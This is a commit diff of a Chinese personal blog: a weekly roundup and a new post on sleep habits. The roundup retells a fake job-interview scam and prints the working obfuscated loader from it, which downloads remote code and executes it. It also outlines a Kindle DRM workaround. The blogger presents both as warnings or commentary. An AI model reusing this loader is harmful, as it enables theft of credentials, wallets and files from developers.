docs: new post and update draft

Former-commit-id: 1521fdc6c6a5b9ac21ad6355b007f7b478f84548

2 files changed, 208 insertions, 2 deletions

diff --git a/content/posts/weekly/51.md b/content/posts/weekly/51.md
index da8342fb..b678cf2a 100644
--- a/content/posts/weekly/51.md
+++ b/content/posts/weekly/51.md
@@ -49,6 +49,74 @@ toc: true
 
 一开始我其实很喜欢 Liquid Glass，因为 Apple 展示的宣传界面的确令人眼前一亮。不过，自己更新新系统使用了一两个月之后，我就逐渐对 Liquid Glass 失望了。至少，我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角？
 
+此外，我原本以为全新的 Spotlight（聚焦搜索）可以代替 Raycast，毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人，太慢了，经常让我感觉没有打开，于是按了两遍快捷键，结果第二次操作的时候就关掉了 Spotlight……
+
+### 我差点被一个「工作面试」偷走数字身份
+
+> [!note] 📜
+> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview)
+
+作者是一个很注重隐私和数据安全的程序员，最近他在领英上收到了一个工作面试邀请，查看对方身份之后发现是一个正规的公司，于是就接受了。面试之前，面试官给它发送了一个 GitBucket 仓库，要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常，很多面试官都会这样检验面试者的实操能力；由于时间很紧，作者没怎么调试就直接做完了题目，在最终要执行 `npm run start` 启动项目的时候，他突然觉得哪里不对劲。
+
+于是他向 Cursor 的 AI Agent 问了一个问题：
+
+> 在我运行这个应用之前，你能不能帮我检查一下代码库里有没有什么可疑的代码？
+
+Agent 帮他翻出来了这段代码：
+
+```js
+//Get Cookie  
+(async () => {  
+    const byteArray = [  
+        104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,  
+        110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,  
+        98, 50, 48, 51, 49, 102, 98, 57  
+    ];  
+    const uint8Array = new Uint8Array(byteArray);  
+    const decoder = new TextDecoder('utf-8');  
+    axios.get(decoder.decode(uint8Array))  
+        .then(response => {  
+            new Function("require", response.data.model)(require);  
+        })  
+        .catch(error => { });  
+})();
+```
+
+将 `byteArray` 解码之后会得到一个链接，这段代码的作用就是从这个链接中下载并执行代码，而这段来自网络的代码是纯粹的恶意软件，会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里，在运行时拥有系统权限，真的非常邪恶。并且，这个链接在 24 小时之后就失效了，对方早就做好了销毁证据的准备。
+
+作者后来在评论区表示，对方在发现自己还没有执行代码之后，将工作面试推迟了两次，然后作者把这篇文章的草稿发给了他们，之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复，表示他们正在调查，并且这种恶意事件和他们没有关系，他们只是忘记修改领英的默认设置，导致任何人都可以和他们的企业关联起来。
+
+#### 我的观点
+
+AI 编程工具的妙用：检查恶意代码。在运行来源不明的代码之前，花一两分钟的时间请大模型帮忙扫描一遍代码库，是真的能救命的。读完这篇文章也让我开始警觉，我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。
+
+### 我「逆向工程」了 Amazon 的 Kindle 图书服务
+
+> [!note] 📜
+> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/)
+
+因为 Amazon 做的 App 实在是太难用，作者想把他在 Amazon 购买的电子书下载到设备上，用一个好用的阅读器软件来阅读，结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款，但他认为自己付过钱，就理应能够把电子书导入 Calibre，和自己其他的书一起阅读。
+
+所以他逆向工程了 Amazon 的 Web 客户端，结果发现，Amazon 不会明文传输电子书文本，而是用到了替换加密，每个字对应的是字体中的一个字形（Glyph）；而且 API 限制一次只能请求五页，每次请求，这个字形的映射都会改变，也就是说作者无法创建一个适用于整本书的字形映射表。
+
+```json
+{
+  "type": "TextRun",
+  "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...],
+  "style": "paragraph"
+}
+```
+
+一个编码对应的是字形的 SVG 定义，Amazon 在这里还用到了 SVG 的移动操作（MoveTo Opertaion），由于浏览器原生支持 Path2D，所以能够正常渲染，而 Python 的 SVG 库则不行；由于这里的移动操作是随机的，所以也不能通过字符串匹配的方式构造字形映射，也就是说，就算是相同的字符，其 SVG 定义也会有微小的差异。
+
+最后作者换了一个 SVG 库，把每一个 SVG 渲染成图片，然后用图片生成 Hash，这样就算同一个字形的 SVG 定义有差异，Hash 也是不会变的；通过这个 Hash 作者构造出了一个映射表，生成了 EPUB 格式的电子书。
+
+#### 我的观点
+
+尽管这种操作的法律正规性存疑（作者的确破解了加密方式并传播了方法，但没有传播破解软件，文章里甚至没有一行他写的代码），但不失为一种学习和练习技术的方式。
+
+读完之后我开始思考，如果电子书平台在用户购买书籍之后都不允许下载电子书文件，只允许在限定的 App 里阅读，那真的能算作购买吗？在文中，作者认为这是「租用」，要是企业跨掉了，或者只要他们想，你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书，我选择更多地阅读纸质书，或者下载免费的电子书资源。如果购买意味着真正的「拥有」，那我才会愿意像购买纸质书一样购买电子书。也有可能，由于数字产品的特殊性，这点没办法做到吧。
+
 ## ⁂ · 星群
 
 ### AirBattery
@@ -69,8 +137,22 @@ toc: true
 
 ![](https://image.guhub.cn/picgo2025/close_help.avif)
 
-访问：[开始截图 - 1Capture](https://docs.1capture.com/cn/start)
+访问：[1Capture](https://docs.1capture.com/cn/start)
 
 ### Is This Seat Taken?
 
-大概是一个月以前买的游戏
\ No newline at end of file
+大概是一个月以前买的游戏，最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求，将所有人安置到适合他们的位置上，比如有的人不喜欢旁边有人、不喜欢和小孩待在一起，有的人没洗澡或者喷了太多香水，而相应的会有人希望离这些气味远一点，还有的小孩子想和别的小孩坐在一起，有的人想和别人说话，而有的人因为想要读书或睡觉，想要离那些说话和外放音乐的人远一些。
+
+游戏的难度适中，玩到第三大关还没有遇到卡关的情况，但也有不少有挑战的关卡。游戏中会有反复出现的人物，玩家可以见证他们前往不同城市、遇到不同的人发生的故事，还算是增加了一些趣味性。游戏的画风也很可爱，我尤其喜欢这种柔和的配色，总之，推荐一玩。
+
+![](https://image.guhub.cn/picgo2025/20251019-is-this-seat-taken-game.jpeg)
+
+访问：[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/)
+
+### meow.camera
+
+人类，你可以观看猫咪进食。
+
+![](https://image.guhub.cn/picgo2025/20251019-mewocamera.jpeg)
+
+访问：[meow.camera](https://meow.camera/)
\ No newline at end of file
diff --git a/content/posts/如何拥有猪一样的睡眠.md b/content/posts/如何拥有猪一样的睡眠.md
new file mode 100644
index 00000000..efb63c58
--- /dev/null
+++ b/content/posts/如何拥有猪一样的睡眠.md
@@ -0,0 +1,124 @@
+---
+title: 如何拥有猪一样的睡眠？
+tags:
+  - 健康
+  - 生活
+mentioned_books:
+  - 控糖革命
+date: 2025-10-19T17:47:00
+draft: false
+toc: true
+---
+
+最近发现自己的睡眠质量有了很大提升，具体体现在深度睡眠时间的增加、起床变得更简单和早晨时身体感觉更好。其实我最早通过写睡眠日记来改进睡眠质量的尝试是以失败告终的，强迫自己早睡也毫无用处，最近的这些改变是在潜移默化中发生的，连我自己都不能完全搞明白自己做了什么有效的动作。今天的文章就来总结一下我最近几个月为睡眠作出的积极改变。<!--more-->
+
+## 耳塞和眼罩
+
+这应该是效果最显著的两个工具了。戴耳塞的习惯在我搬出宿舍之前就养成了，因为宿舍里有一个室友几乎每天晚上都打鼾，声音大到让我觉得自己内脏都在抖的那种。后来，我发现，即使没有很明显的噪音，戴上耳塞阻断听觉也能让我更快入睡，因为大脑接收到的信息变少了，塞住耳朵之后会觉得整个世界都安静了。
+
+一开始我戴耳塞的时候，也像大多数人一样觉得耳道有异物会很不舒服，不过我很快发现这是耳塞形状的关系。一般的耳塞（如图 A）是一个圆头的锥体，边缘是一条直线，试过另外一种形状接近扑克牌中黑桃（♠️）的耳塞（如图 B）之后，我发现佩戴耳塞的舒适度提高了不少。市面上还有不少形状稀奇古怪的耳塞，价格是一般耳塞的十多倍，我没有试过，但我觉得没必要买那么贵的，因为物美价廉的选择其实不少。
+
+![](https://image.guhub.cn/picgo2025/IMG_0404.PNG)
+{.dark:invert}
+
+耳塞一般是柔软的纤维材质，有很多细孔，不容易清洁。出于卫生考虑，我购买的是罐装的耳塞，佩戴过 2～3 晚的耳塞就会被扔掉。一罐的价格其实也就十块出头，而且能用一两个月。
+
+至于眼罩，我认为只要足够柔软、能有效遮光（不遮光还叫什么眼罩？）、清洗方便即可。一般的眼罩都有为鼻子预留空间，佩戴不会感到不适。由于季节的温度和湿度差异，可以购买有冰丝面料和棉面两面的眼罩，这也能增加佩戴的舒适度。
+
+值得一提的是，无论是眼罩还是耳塞，再初次使用时肯定会感到些许不适，需要一定的时间适应。习惯之后，睡眠质量能获得很大提升。我很挑床铺，以至于每次回家或旅游，在另一张床上总是很难入睡，眼罩和耳塞也能为我带来一点熟悉感，事实证明这真的会让我更容易睡着。
+
+## 卧室温湿度与床铺厚度
+
+夏季和冬季最令人讨厌的事情莫过于大晚上被热醒或者冷醒了，因此根据房间的温度选择适宜的被铺很重要，也有必要把控卧室的室内温度。我在卧室挂了一个小型的电子温度湿度计，可以随时查看房间内的温湿度。
+
+一般来说，最有助于睡眠的环境温度是 15°C~19°C[^1]，但并不是所有人都有条件在任何季节创造这样的睡眠环境。对我而言，根据室温调整床铺厚度就好了。一般来说，在夏季我会尽量让卧室内温度在睡眠期间保持在 20°C～22°C，同时选择较薄的被子。在冬季，能在躺下的几分钟内感到暖和并不至于闷热即可。我其实很讨厌凉席这个东西，主要是太硬了；即使为了腰背的健康选择较硬的床垫，柔软的床单或床笠也能让睡眠的舒适度提升不少。
+
+湿度是很容易被忽略的一个点，造成闷热的主要原因就是湿度太高。空调的作用不只是调整温度，还有降低湿度，这也是为什么我在秋冬换季的时候依然会选择开空调，在这个时候房间的温度很容易上升到 70% 以上，不开空调真的很难受。一般来说，湿度在 50% 左右是最好的，如果太高就开空调抽湿，如果太低可以考虑购置加湿器；如果你住在南方的话，大概是不需要加湿器这个东西的。
+
+除了保温效果，被铺本身就能带来一定的舒适感，**选择更厚重的被子有利于更快入睡**，因为身体会感到被包裹、被保护。从我自己的体验来看，冬季的睡眠质量往往要比夏季的睡眠质量更好，和床铺的厚度也有关系。一般来说，房间的温度越低越有利于睡眠，所以在夏季也可以选择降低空调温度，使用更厚重的被铺来提升睡眠质量。
+
+## 灯光
+
+灯光会显著地影响睡眠。人造光源会被身体误以为是日光，扰乱人的昼夜节律，也就是生物钟，对睡眠影响更大的是，光还会抑制褪黑素的分泌。即使是微小的灯光也会造成这样的影响。尽管所有光都会影响昼夜节律和褪黑素分泌，但蓝光对人体的影响要更为显著。[^2]
+
+蓝光指的是波长约在 400 – 500 nm 区间内的高能量可见光（High-Energy Visible Light）。人造光源和电子设备的屏幕都会释放蓝光。macOS 的「夜览」和其他软件的类似功能，会让屏幕整体上变黄，其实就是过滤掉了一部分的蓝光——这并没有「护眼」功能，只是**缓解**了夜间蓝光暴露对睡眠的影响，把「夜览」称作「护眼模式」是不恰当的。
+
+由于对褪黑素的抑制，暴露在蓝光下会让人更难以入睡。一般建议睡前一到两个小时不要使用电子设备，但承认吧，这实在是太难了！所以使用「夜览」等功能过滤蓝光，或者佩戴防蓝光眼镜，就能**缓解**这一影响；同时，在睡前三十分钟内不看手机，应该是取舍后比较理想的做法。
+
+除了屏幕，很容易被忽视的就是房间内的灯光，几乎所有人造光源都会释放蓝光，更节能、更常见的 LED 灯释放的蓝光更多。为了尽可能把昼夜节律扳正，在夜间关闭大部分的光源，多使用暖光而不是白光，也能减少蓝光暴露，缓解灯光对褪黑素的抑制。最有效的做法是购置专门在夜间使用的「红光灯」，因为红光对睡眠的影响最小，不过我认为没必要专门花钱购买这种灯，而且说实话，红色的灯看着挺瘆人的。
+
+睡前减少灯光暴露，起床后有意识地增加暴露在光照下的时间也很重要。这不仅能让早晨的时间更清醒，还能调节昼夜节律。据说在起床后观察日出也有这样的效果，不过住在楼房里的城里人大概是享受不到了。
+
+睡觉的房间里最好一点光都不要有，如果有中央空调控制器、路由器、空气净化器都设备的知识灯光，也要想办法尽量遮住；尽量使用遮光的窗帘隔绝室外的灯光，路灯、对面楼层的灯光都是影响睡眠的因素。如果不能隔绝房间里的光，那就戴眼罩吧。
+
+## 睡前禁食禁水
+
+你早上一般是怎么醒的？对我最有用的闹钟就是尿意，我已经数不清楚有多少个早晨我是被尿憋醒的了，有的时候是凌晨三四点的时候爬起来上厕所。进食和直接喝水都会增加几小时后尿尿的概率，在睡前的几个小时内应该减少进食和饮水行为。
+
+除了避免睡眠中断，禁食也是为了保证睡眠期间血糖水平的稳定。如果在睡前吃东西，睡觉的时候血糖水平就会产生波动，上升然后下降。如果吃的是富含淀粉、果糖或葡萄糖的食物，这种波动就会更大；如果是冰淇淋、含糖巧克力这样的精致糖类，就会出现很高的葡萄糖峰值，这样的食物会让葡萄糖水平立刻上升，之后又快速下降。血液中过多的葡萄糖会让线粒体高速工作产生能量，由于睡觉时人几乎不运动，新陈代谢水平也更低，葡萄糖就没办法被快速消耗。这些糖不仅更容易被转化为脂肪，也可能造成夜间突然惊醒，甚至心悸。[^3]
+
+总之，**带着被清空的膀胱和平稳的血糖水平上床睡觉是最好的选择**。
+
+## 关于睡前运动
+
+睡前运动究竟会不会影响睡眠？这个问题似乎有不少争议，支持两边观点的都有，而且似乎都能拿出一些科学依据。比较模糊的是「睡前」的定义，这指的是运动完之后立刻睡觉，还是说睡前一到两小时内运动都算「睡前」？另一个比较模糊的点是「运动」的类型，有氧运动和无氧运动对人体的影响显然是不同的，撸铁后睡不着觉似乎是真的，但夜跑的不少，我也几乎总是在晚上九到十点跑步。跑步作为有氧运动，对睡眠的影响似乎要小很多。
+
+仔细思考的话，真正的问题其实并非「运动会不会影响睡眠？」，而是「运动导致了身体的什么发生变化，而这些变化中与睡眠有关的又有哪些？」。运动显然会导致体温上升、心率升高、激素水平发生变化，还会激活交感神经；运动的强度和这些因素也有关。
+
+「睡前」的定义也和这些因素相关。从我的经验来讲，夜跑的强度通常不会太高，心率通常在三区间，在后段可能上升到四区间和五区间，我的配速通常在 5'40'' 左右，持续时间通常是 30 分钟。在我习惯的强度下，一个小时之内心率和体温就会恢复正常，头脑也会感到平静——我甚至有可能睡得更香。如果是强度更高的运动，可能就需要两个小时甚至更长的时间回复。健身撸铁通常要把肌肉练到力竭，把身体逼到接近极限，所以需要更长的时间恢复，对睡眠的影响也更显著。对不同的人来说，在运动后恢复所需的时间也会有差别。
+
+在我看来，**睡前可以进行运动，但要避免突破身体极限的高强度运动；根据运动的强度，需要恰当的休息时间才能恢复，所以要根据强度把握好上床时间和运动时间**。无论如何，根据自己的身体感受和健康设备提供的睡眠记录进行调整，应该就能找到比较适合自己的睡前运动方法。
+
+不过，这一小节大多都是我根据自己浅薄的生物学知识作出的猜测，没有文献支撑，如果有错还恳请读者指正。
+
+## 咖啡因
+
+咖啡因是一种中枢神经兴奋剂，它的作用是阻挡腺苷的接受。腺苷与它的接收器结合时，可以减缓神经细胞的活动，这一般在睡眠时发生，而咖啡因可以阻止腺苷让神经细胞变得平静。咖啡因会在 45 小时内被胃和小肠完全吸收，之后存在于人体的所有器官中。对一个健康的成年人来说，咖啡因的半衰期是 3～4 个小时，也就是说在 6～8 个小时内，咖啡因都不会从体内彻底消失；对口服避孕药的女性来说，半衰期是 5～10 小时，对怀孕女性是 9～11 小时，小孩子的咖啡因半衰期比成年人更长；吸烟也会延长咖啡因的半衰期。[^4]总而言之，对普通人而言，睡前 8 小时内不应该摄入咖啡因；不同的人应该根据自己的情况调整这个时间。
+
+需要注意的是，**「晚上睡得着觉」并不是咖啡因被完全代谢的标准**，如果身体太困，即使腺苷的接受被阻挡也能睡得着觉，但这肯定会显著影响睡眠质量，体现在深度睡眠时间减少、夜间清醒时间增加等等。总是有人得意洋洋地跟我说他们晚上喝了咖啡也能睡得着觉——**睡得着不代表睡得好**。
+
+咖啡因不只存在于咖啡中，还被广泛地添加到碳酸饮料中，所以喝可乐也会摄入不少的咖啡因；茶饮中也有大量的咖啡因，包括奶茶。大晚上一边吃炸鸡一边喝可乐固然很爽，但这是以睡眠质量为代价的——偶尔爽爽没问题，但长期这样会对身体产生很大的负面影响。
+
+我给自己制定的标准是，下午两点之后不喝咖啡，这样的话，我从咖啡中摄入的咖啡因就会在晚上十点左右被完全代谢。至于碳酸饮料，应当尽量避免，因为就算是无糖可乐，其中的人工甜味剂也可能导致胰岛素水平上升，使血糖下降产生饥饿感，和咖啡因配合起来简直要命。偶尔在晚上喝一次碳酸饮料，摄入的咖啡因总量要比咖啡少很多，控制在睡前 3～4 小时前喝完，我想应该是一个折衷的做法，因为 3～4 小时后，咖啡因就被代谢掉一半了。
+
+## 酒精
+
+我滴酒不沾，但身边喜欢夜间微醺甚至一醉方休的人其实不少，我想有必要做些研究，看看酒精对睡眠的影响。
+
+我听过最多的说法就是：喝完酒之后很容易睡着。有一次在家的时候，我父亲让我上楼去做两杯拿铁招待客人，那个时候是晚上十点左右了。他和客人都一致认为，喝了酒之后再喝咖啡都没事，我父亲还信誓旦旦地声称自己晚上喝咖啡完全睡得着觉。重申：「睡得着」和「睡得好」完全不一样。
+
+短期来看，饮酒会催生昏睡感，让人更容易睡着，但这会扰乱睡眠质量；长期来看，饮酒还会加剧睡眠障碍。[^5]睡前 30～60 分钟饮酒，由于血液酒精水平上升，会导致睡眠维持（sleep maintenance）和睡眠结构（sleep archetecture）的中断；简单来说，就是会导致中途醒来，同时会影响睡眠阶段的规律（睡眠阶段包括浅度睡眠、中度睡眠、慢波睡眠和快速眼动睡眠）。饮酒会使得前半段睡眠的慢波睡眠时间增加，快速眼动睡眠时间减少；在后半段睡眠，快速眼动睡眠和阶段一睡眠远超基准线地增加。总而言之，饮酒会「改变」睡眠结构。
+
+人体会对这种睡眠结构的改变产生耐受性。不常饮酒的人喝酒之后会感到镇静，更容易入睡；而常饮酒的人则更容易感到兴奋，扰乱睡眠。对于失眠者来说，适当饮酒有助于提升睡眠维持（sleep maintenance），也就是不易醒来。有趣是的，嗜酒者在选择停止饮酒过后，睡眠会变得更浅、更碎片化，这可能需要 1～2 年的时间才会恢复正常，对一些人来说可能永远不会恢复正常。可见过度饮酒对长期睡眠质量的危害。
+
+简而言之，睡前饮酒会改变正常的睡眠结构，长期过度饮酒可能会对睡眠造成慢性、长期的负面影响。**适度饮酒并避免睡前饮酒是最好的选择。**
+
+要了解更多的细节，可以阅读 Wikipedia 上的 [Alcohol use and sleep](https://en.wikipedia.org/wiki/Alcohol_use_and_sleep) 这个条目。
+
+## 其他
+
+以下是一些我不能说一定有关联，但自认为有些影响的改变。这些内容看看就行，我没有去找相关的资料作支撑。
+
+- 吃鱼油。由于我不吃河鲜海鲜，体内长期缺少 EPA 和 DHA 两种常见于深海鱼类中的脂肪酸，其中 EPA 与心血管有关，可以减少炎症；DHA 是大脑和视网膜上的主要脂肪酸，通常和认知功能以及视力相关。炎症和缺乏 DHA 的大脑可能都会影响睡眠质量，吃鱼油补充这两种脂肪酸兴许有帮助，我不能确定。不过我的确感受到服用鱼油一段时间后，早上起来时身体的感受有变好。
+- 睡前写日记。写日记有助于让我平静下来，回顾一天中发生的事情，关注当下的感受。同时，使用纸和笔而非电子设备也能让我感到一种脚踏实地的感觉，我摸到的是有触感的纸张而非冰冷的触摸屏。除了写日记，任何涉及到回顾和书写的活动，应该也能达到相似的效果。
+- 睡前清洁床铺。我有一把扫床刷，会在睡前将床单上的头发和皮屑扫下床。这对睡觉的舒适度提升可能不大，但毛刷和织物摩擦的声音很舒服，扫床这个简单的动作也能让我平静下来，不容易东想西想。如果真的想要保证卫生，每月甚至每两周换洗一次床单和被套是最好的；枕套要换得勤一些，如果你也像我一样做不到每天洗头的话。
+
+---
+
+## 可以观测到的改变
+
+我发现自己的深度睡眠时间，也就是对体力恢复和记忆形成至关重要的慢波睡眠，在过去的一年里有明显的提升。尽管我的总睡眠时长并没有增长太多，但我的深度睡眠时间却从平均 40 分钟增加到了平均 1 个小时 20 分钟，有时候甚至能达到接近两个小时；即使是在只睡了不到 6 个小时的情况下，深度睡眠时间依然能够超过 1 小时。睡得更深让我早上更容易从床上爬起来，因为睡眠质量变好了，身体恢复得也更好，就不会在早上感到过度疲惫而不愿意起床。
+
+另一个好处是我睡觉的「前摇」和「后摇」都大大缩短。戴上耳塞和眼罩之后我几乎沾床就睡，很少失眠；起床之后缩在被窝里疯狂延迟闹钟的情况也减少了，就算偶尔晚睡晚起，也再没有出现一觉睡到大中午的情况。换句话说，我用更少的待在床上的总时间，换到了质量更高的睡眠。
+
+睡得怎么样很大程度上决定了我的一天过得怎么样，睡得不好会让我一天都没精神，喝了咖啡也会很快在下午感到倦怠。况且，长期睡眠质量不佳还会有更深远的健康风险。人一天有三分之一的时间都在睡觉，如此重要的人类活动自然要多加重视。
+
+[^1]: 参见：[What’s the Best Temperature for Sleep? - Cleveland Clinic](https://health.clevelandclinic.org/what-is-the-ideal-sleeping-temperature-for-my-bedroom) 和 [What Is the Best Temperature for Sleep? - healthline](https://www.healthline.com/health/sleep/best-temperature-to-sleep)
+
+[^2]: 参见：[Blue light has a dark side - Harvard Health](https://www.health.harvard.edu/staying-healthy/blue-light-has-a-dark-side)
+
+[^3]: 参见：《[控糖革命](/library/2025/控糖革命/)》
+
+[^4]: 参见：[咖啡因 - 维基百科](https://zh.wikipedia.org/wiki/%E5%92%96%E5%95%A1%E5%9B%A0#%E8%8D%AF%E7%90%86%E5%AD%A6)
+
+[^5]: 参见："Alcohol use and sleep have a complex relationship.[1] While alcohol may initially induce drowsiness, it can disrupt sleep quality and exacerbate sleep disorders in the long run. During abstinence, sleep disruption is one of the greatest predictors of relapse." - [Alcohol use and sleep - Wikipedia](https://en.wikipedia.org/wiki/Alcohol_use_and_sleep)